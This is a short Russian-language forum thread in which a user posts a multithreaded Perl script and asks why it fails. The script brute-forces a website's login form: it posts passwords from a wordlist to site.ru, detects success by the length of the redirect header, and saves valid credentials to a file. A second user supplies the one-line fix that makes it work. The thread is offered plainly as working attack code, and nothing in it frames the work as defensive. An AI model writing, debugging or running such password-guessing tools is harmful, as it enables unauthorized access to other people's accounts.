Поправка в коде perl

Discussion in 'PHP' started by zeroDay27, 17 Apr 2014.

  1. zeroDay27

    zeroDay27 New Member

    Joined:
    13 Jan 2014
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте , есть такой код :
    Code:
    use 5.010;
    use warnings;
    use LWP::UserAgent;
    use threads;
    use threads::shared;
    use Fcntl ':flock'; 
    
    my $threads = 10;
    my $login = 'login';
    my $fname = 'good.txt';
    my $pl = 'passwords.txt';
    
    my $lim = 90;
    my $i : shared;
    $| = 1;
    
    open (ACS, "<$pl") || die("Could not open password list file!");
    my @acc : shared = <ACS>;
    chomp(@acc);
    close(ACS);
    
    my $size = scalar @acc;
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }
    
    sub Brut
    {
    my $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla/5.0");   
     
    while(@acc)  
    {
    my $password;
    {lock(@acc); $password = shift @acc;}
    my $answ = $ua->post('https://site.ru/?act=login', {'email' => $login, 'pass' => $password})->code; 
    my $loc = $answ->header('Location');
    my $length = length($loc);
    if($length > $lim)
    {
    print "[+] $password\n"; 
    open(FILE, ">>$fname") || die("Could not open $fname\n"); 
    flock(FILE, LOCK_EX);  
    print FILE "$password:$login\n"; 
    flock(FILE, LOCK_UN);  
    close(FILE);  
    }
    
    {lock($i);$i++;} 
    print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r"; 
    
    }
    
    }
    
    При исполнении ничего не выводит , только думает.
    Проблема появилась после вставки таких строк :
    Code:
    ........
    my $loc = $answ->header('Location');
    my $length = length($loc);
    if($length > $lim)
    ............
    
    Потому как если проверять в условии код ответа от сервера , вслучае с удачной авторизацией выдаёт 302 , но и тоже самое при неудаче ,т.к стоит редирект.Поэтому решил делать так.При удачной авторизации заголовок location имеет больше 90++ символов, а при неудачи меньше 75--.
    Почемуто приходит в голову мысль о том что пароль даже не доходит до отправки post запроса.

    На данном этапе ошибка такова :
    Code:
    Thread 3 terminated abnormally: Can't call method "header" without a package or object reference at test.pl line 38.
    
    Подскажите как можно это исправить ?
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Убрать

    Code:
     $login, 'pass' => $password})[b]->code[/b]; 
    
     
    _________________________